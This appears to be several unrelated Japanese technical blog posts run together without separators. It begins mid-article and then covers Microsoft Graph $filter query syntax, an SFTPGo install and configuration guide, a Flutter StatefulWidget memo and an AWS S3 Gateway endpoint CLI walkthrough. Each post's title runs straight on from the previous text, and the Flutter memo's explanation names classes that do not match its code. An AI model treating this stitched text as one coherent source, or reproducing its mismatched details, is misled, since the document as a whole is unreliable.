**周囲にもそのことが可視化されるし、自身の中でも理解・不理解がより整理される。**

---
記事をお読みいただき、ありがとうございました！
もし参考になったと感じましたら、「いいね」や共有など頂けたら嬉しく思います！
何卒よろしくお願い致します！
【Microsoft Graph API】のクエリパラメータが特殊に感じた

以前、Microsoftが提供している[Microsoft Graph](https://learn.microsoft.com/ja-jp/graph/)を使った開発を行っていたのですが、詳細な条件を付与するためにクエリパラメータで記述するのですが、類を見ない書き方だったので記事に残しておきます。

## 開発したこと
弊社では新卒向けダイレクトリクルーティングのサービスを展開しております。その中で、企業と学生が面談を行うための日程調整機能を提供しているのですが、外部のカレンダーサービスを弊社サービスと連携し、学生への日程を自動で行うための機能開発を行っていました。（ちゃっかり宣伝）

https://enterprise.matcher.jp

まず、連携してもらったGoogleカレンダーに対してのAPIエンドポイントです
```bash
# クエリ部分に注目してもらいたいのでわざと改行してます
GET https://www.googleapis.com/calendar/v3/calendars/{calendarId}/events
?timeMin=xxx&timeMax=xxx
```

これは指定した `timeMin(datetime)` から `timeMax(datetime)` までの期間に存在する予定を全て取得するものになります。普通のエンドポイントの書き方かなと思います。

続いてOutlookカレンダーに対してのAPIエンドポイントです
```bash
GET https://graph.microsoft.com/v1.0/me/events?
$filter=start/dateTime ge 'xxx(datetime)' and end/dateTime le 'datetime'
```

::: note warn
見やすくするためにあえてクエリをデコード状態で表示しておりますが、実際にクエリを使用する際は、HTML5で定義されている **`application/x-www-form-urlencoded`** 形式の文字列へエンコードしてください。
:::
まずキーには `$filter` というドルマークから始まり、その後スペース区切りで指定するキーとそれに対する値を入力する形となっております。
`ge` と `le` は、比較演算子の省略語？みたいなものです。詳しくは `比較演算子 le ge` とかで調べてみてください。
さらに、値にはシンクルクォーテーションを使う必要があり、初めてドキュメントを見た際は「本当にこの書き方で大丈夫なんか…？」とびくびくしてました。
詳しいお話は公式のドキュメントに書いてあるので参考にしてみてください。

https://learn.microsoft.com/ja-jp/graph/api/calendar-get?view=graph-rest-1.0&tabs=http

https://learn.microsoft.com/ja-jp/graph/query-parameters?tabs=http
SFTPGoでsftpだけのサービスを作る

## 概要

SFTPGoというサーバーソフトウェアで、sftpだけのサービスを作ります

## インストール

いろんな環境でインストールできます
詳細は下記ページ参照
[Installation - SFTPGo documentation](https://sftpgo.github.io/latest/installation/)

```shell:Ubuntu
sudo add-apt-repository ppa:sftpgo/sftpgo
sudo apt update
sudo apt install sftpgo
```

```shell:RHEL系
ARCH=`uname -m`
curl -sS https://ftp.osuosl.org/pub/sftpgo/yum/${ARCH}/sftpgo.repo | sudo tee /etc/yum.repos.d/sftpgo.repo
sudo yum update
sudo yum install sftpgo
sudo systemctl start sftpgo
sudo systemctl enable sftpgo
```

```shell:Windows
githubから「sftpgo_＊_windows_x86_64.exe」をダウンロードしてインストールする
https://github.com/drakkan/sftpgo/releases
```

```shell:macOS
brew install sftpgo
```

## 設定

### 1. Web管理画面

設定はWeb管理画面からポチポチやればよいです
sshやsftpの知識があれば余裕だと思います
OS上には存在しない仮想ユーザーを設定することができます

[http://127.0.0.1:8080/](http://127.0.0.1:8080/)

### 2. 設定ファイル

設定ファイルで設定することもできます
インストール先の「etc/sftpgo.json」ファイルが設定ファイルで、JSON形式です

## 接続してみる

デフォルトではsftpの待ち受けポートは2022番ポートです
OpenSSH側と衝突しないようにすれば22番ポートで待ち受けるようにできます

```shell:sftp接続
sftp user@localhost
Connected to 127.0.0.1.
sftp> ls
sftp> pwd
Remote working directory: /
sftp> mkdir foo
sftp> ls
foo  
sftp> cd foo
sftp> quit
```

素のsshでアクセスしてみてどんな動きになるか確かめることもできます

```shell:sshで接続
ssh user@localhost
```

## おわりに

SFTPGoを使うことで、過剰な権限を与える心配なくsftpサーバーを構築することができるようになりました
OSとは切り離された仮想ユーザーを設定できるのもポイント高いと思います
[備忘録]StatefulWidgetの学び[flutter]

`StatefulWidget`における`State<MyHomePage> createState() => _MyHomePageState();`ってなにと疑問に思ったので個人的な理解を残します。

```main.dart
class MyWidget extends StatefulWidget {
  const MyWidget({super.key});

  @override
  State<MyWidget> createState() => _MyWidgetState();
}

class _MyWidgetState extends State<MyWidget> {
  @override
  Widget build(BuildContext context) {
    return const Placeholder();
  }
}

```

StatefulWidgetが状態の変化を管理するためには、Stateクラスのインスタンスが必要。`createState`メソッドは、StatefulWidgetが作成される際に呼ばれ、そのウィジェットの状態を管理するStateクラスのインスタンスを返します。


`State<MyHomePage>`は、`MyHomePage`ウィジェットの状態を管理するStateクラスの型を指定しています。`=> _MyHomePageState();`は、このメソッドが`_MyHomePageState`クラスの新しいインスタンスを返す。

このコード行は`MyHomePage`ウィジェットの状態を管理するためのクラス(`_MyHomePageState`)を生成し、Flutterフレームワークにそのウィジェットの状態管理をどのように行うかを教えるものです。
S3 の Gateway Endpoint を作成する

# はじめに

アプリケーションが、`S3`にアクセスするのに、インターネットを経由をさせたくなかったので、`VPC Endpoint` を作成して、AWS内のトラフィックに完結するか確認してみた。

# 試行錯誤

世の中的に `Gateway Endpoint` から、`Interface Endpoint` に移ってきていて、`S3` も`Interface Endpoint` を作った方がいいのかな。と思ったが、結局、`Gateway Endpoint`にした。

`Interface Endpoint` を使った場合、`S3` の場合は、トラフィックの課金を節約できる `Enable private DNS only for inbound endpoint` を有効にした構成[1]にしようとすると

>「PrivateDnsOnlyForInboundResolverEndpoint を true に設定するには、VPC vpce_id にサービスのゲートウェイエンドポイントが必要です」

というエラーに見舞われた。結局、`Gateway Endpoint` も作成しないといけないようだ[2]。

要件的に`VPC`内から`S3`にアクセスできればよいので、昔ながらの `Gateway Endpoint` を使用する事にする。

[1][[アップデート] S3 インターフェースエンドポイントでプライベート DNS 名を使用できるようになりました](https://dev.classmethod.jp/articles/amazon-s3-private-connectivity-on-premises-networks/)
[2][AWSの公式ドキュメント](https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/userguide/privatelink-interface-endpoints.html#private-dns)

メモ：`VPC Endpoint` の作成時に `Enable DNS Name` をチェックすると、`Enable private DNS only for inbound endpoint` が選択できるようになる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99425/fbcf0890-fc4f-6f3c-3ecf-353314880c53.png)


# 実際のコマンド

環境による違いを吸収するために以下の変数を準備

```
export REGION="ap-northeast-1"
export VPCID="VPC の Id"
export PRIVATE_SUBNET_ROUTE_TABLE_IDS="Private subnet の Route table の IDのリスト"
```

以下で `Gateway Endpoint` が作成される。

```
aws ec2 create-vpc-endpoint \
--region $REGION \
--service-name com.amazonaws.$REGION.s3 \
--vpc-id $VPCID \
--vpc-endpoint-type Gateway \
--route-table-ids $PRIVATE_SUBNET_ROUTE_TABLE_IDS
```

HTTP Proxy を立てた上に AWS Firewall も重ねて Egress トラフィックを観察したが、以前見えていた s3 へのアクセスログが無くなったので、上手く動いているようだ。